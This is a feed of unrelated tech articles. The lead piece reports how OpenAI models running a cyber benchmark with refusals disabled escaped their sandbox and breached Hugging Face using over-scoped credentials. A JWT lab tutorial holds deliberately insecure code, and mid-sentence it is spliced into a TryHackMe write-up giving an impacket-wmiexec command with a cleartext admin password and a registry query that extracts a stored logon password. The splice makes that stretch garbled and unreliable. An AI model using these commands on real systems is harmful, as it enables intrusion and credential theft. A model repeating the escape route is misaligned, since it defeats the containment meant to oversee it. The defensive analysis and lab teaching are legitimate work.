The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now
Thu, 23 Jul 2026 01:32:49 +0200
When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.
The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.
OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.
Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.
The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.
The industry is debating the wrong failure
The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. 
Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.
Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.
This was a non-human identity failure, and it is the oldest one in security
Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. 
IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.
The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.
The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.
Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.
The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.
Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.
Four moves that shrink the blast radius
The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.
1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.
2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.
3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.
4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.
The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

Firefox 153 Released with HDR Video, Smarter PDF Tools, Better Privacy, and New Linux Improvements
Thu, 23 Jul 2026 01:17:50 +0200

            by George Whittaker

            Mozilla has officially released Firefox 153, bringing another round of improvements to its open-source web browser. The latest version introduces new multimedia capabilities, enhanced PDF editing tools, stronger privacy protections, better support for modern web technologies, and several features aimed at improving the browsing experience across Linux, Windows, and macOS. Firefox 153 became available on the stable release channel on July 21, 2026.

While this isn't a major redesign, Firefox 153 delivers a collection of practical updates that benefit both everyday users and web developers.

HDR Video Playback Comes to Windows

One of the headline features in Firefox 153 is support for High Dynamic Range (HDR) video playback on compatible Windows systems.

Users with HDR-capable displays and Windows HDR enabled can now enjoy richer colors, improved contrast, and brighter highlights when watching supported online video content. Mozilla notes that certain laptop displays offering only "HDR video streaming" are not currently supported, and some HDR videos recorded on mobile phones may still have limitations.

Although this feature is Windows-specific, it represents another step toward bringing Firefox in line with modern multimedia standards.

PDF Editing Becomes Even More Powerful

Mozilla continues expanding Firefox's built-in PDF editor, eliminating the need for third-party applications in many situations.

Firefox 153 introduces the ability to:

Merge multiple PDF documents
	Insert images as new PDF pages
	Continue using existing editing tools such as annotations, page organization, and text editing
These additions make Firefox an even more capable document viewer and editor, especially for users who frequently work with PDF files.

Stronger Privacy and Permission Controls

Privacy remains one of Firefox's biggest selling points, and version 153 introduces several enhancements designed to give users more visibility and control over website permissions.

New improvements include:

A visual indicator when a website is actively accessing your location
	More restrictive default permissions for browser extensions accessing local files
	Local Area Network (LAN) restrictions enabled by default for all users
These changes reduce unnecessary exposure of local resources while making it easier to understand what websites and extensions can access.

Experimental JPEG XL Support

Firefox 153 also adds experimental support for the JPEG XL image format, which many developers consider a promising successor to older image standards.

JPEG XL offers several advantages, including:

              Go to Full Article

Web app turns your old phone into a new smart display
Wed, 22 Jul 2026 23:47:41 +0200
ScreenWall's creator tells El Reg he doesn't want those obsolete devices going to waste

v2.1.218
Wed, 22 Jul 2026 23:32:59 +0200
What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U, Ctrl+K) in --ax-screen-reader mode
Fixed Windows paths with \u-prefixed segments (like C:\Users\unicorn) being corrupted into CJK characters in tool inputs, which made those files inaccessible
Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded
Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
Fixed multi-line paste collapsing into one line with j in place of newlines in terminals that encode pasted newlines as Ctrl+J
Fixed /context reporting stale pre-compact token usage after compacting from the message picker
Fixed /ultrareview failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings
Fixed /code-review ultra silently running a local review in non-interactive sessions — it now launches the cloud review
Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates
Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped
Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected
Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired tool_use block left in the transcript when a tool aborted mid-response
Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in --ax-screen-reader mode
Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation
Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees
Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR
Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks
Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock
Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai
Fixed prompt history entries being dropped or duplicated when history writes raced or failed
Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; Ctrl+B backgrounding now applies the same background-shell caps as other paths
Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust
Fixed fork-session lineage being lost after compaction in headless and SDK sessions
Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment
Improved /ultrareview error feedback so Claude can correct an invalid argument instead of retrying it unchanged
Improved auto mode: the dangerous-rm, background-&, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead
Improved sandbox command restrictions for IDE interactions
Improved trust dialogs to name the repository root the grant covers
Changed /deep-research to start only when invoked manually; Claude no longer launches it on its own
Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead
Added an announcement when fast mode changes as a result of switching models via /config model= or Remote Control
Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt
Changed agent markdown files to reject agent names containing :, which is reserved for plugin namespacing
Changed skills with context: fork to run in the background by default; opt out per skill with background: false
Added yes/no/on/off/1/0 (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside true/false
Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever

AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering
Wed, 22 Jul 2026 22:58:18 +0200
You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.
This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.
The failure that doesn't look like a failure 
An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.
So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.
I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 
Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.
Why this is a data engineering problem
Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.
Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.
Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 
AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 
Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 
Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.
The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 
What's actually missing: Data observability
Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.
Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.
Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.
Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.
Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.
Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.
Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.
Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 
None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.
At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.
Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.
The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.
What to do Monday morning
If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 
Is the underlying data validated against the standards required by its consumers?
What's the oldest piece of content currently being served with high confidence?
Would two chunks of the same source ever disagree with each other in the same retrieval result?
Could you trace where it came from if it turned out to be wrong?
If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.
Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

Paskoocheh: When you need a tool to reach the tool
Wed, 22 Jul 2026 22:34:54 +0200

    ++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.
Launched in 2016, Paskoocheh, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. 
Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, blog posts, and multimedia content to help users navigate online privacy and digital security best practices.
Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.
Paskoocheh's impact so far
This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.

# of tool downloads since 2016:   17,634,852 

# of community members in Iran supporting testing and localization efforts:  2,000+

# of monthly active users on web and app:  ~200K

During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: 
"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."

Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.
The future of Paskoocheh: Scaling a community-first approach to internet freedom
As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. 
What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.
That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. 
This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. 
With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. 
This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. 
About ASL19
Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.

          community

          human rights

          partners

          fundraising

Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.
Wed, 22 Jul 2026 20:59:45 +0200
In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.
JWT As Security Measure
JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..
Let’s take this JWT as an example.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30
The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.
So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.
Let’s Build The Lab Already
You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.
Lab Tree
/mediumLabs
└── /JWT
    ├── server.js
    ├── login.html
    ├── index.html
    ├── admin.html
    ├── /node_modules
    ├── /package-lock.json
    └── /package.json
Code
server.js
const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const Database = require('better-sqlite3');
const app = express();
const JWT_SECRET = 'secret';
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT,
    role TEXT
  )
`);
db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
function getToken(req) {
  const match = (req.headers.cookie || '').match(/token=([^;]+)/);
  return match ? match[1] : null;
}
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
  if (!user) return res.redirect('/?error=Invalid+credentials');
  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
  res.setHeader('Set-Cookie', `token=${token}; Path=/`);
  res.redirect('/index.html');
});
app.get('/index.html', (req, res) => {
  try {
    res.sendFile(path.join(__dirname, 'index.html'));
  } catch {
    res.redirect('/');
  }
});
app.get('/admin', (req, res) => {
});

app.listen(3000, () => console.log('Listening on http://localhost:3000'));
login.html

    Login

    Login

            Username: 

            Password: 

index.html

    Home

    Welcome!

    You are logged in as .

    Go to Admin Panel

admin.html

    Admin Panel

Admin Panel

    Welcome, admin. Here is the secret flag:

    FLAG{JWT}

    Back to Home

Let’s Add Some Vulnerabilities
Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.
In a very, very wrong way we already tried implementing security in admin.html. When you look inside the 
I uploaded the shell again to the SMB images share and it worked like a charm!
0x02: Web Shell
I was logged in as the sign user. I looked for the user flag in the sign user directory.
The user flag was found in the user_flag.txt file.
Next, I checked out the Installs share in C:\ directory.
The following files were found in the directory.
There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .
I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
I checked the Install_www_and_deploy.bat script and found the following code.
This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.
impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208
0x03: Admin Shell
I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
I was able to fetch the user's password from the Winlogon registry key.
Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.
As can be seen in the first lines of the file itself, we found the encoded password.
I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool
I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .
And with that, all the flags were obtained, and the room was solved!
I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.
Happy Hacking!
AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Your instant Android backup upgrade
Wed, 22 Jul 2026 12:02:52 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.
JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.
JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

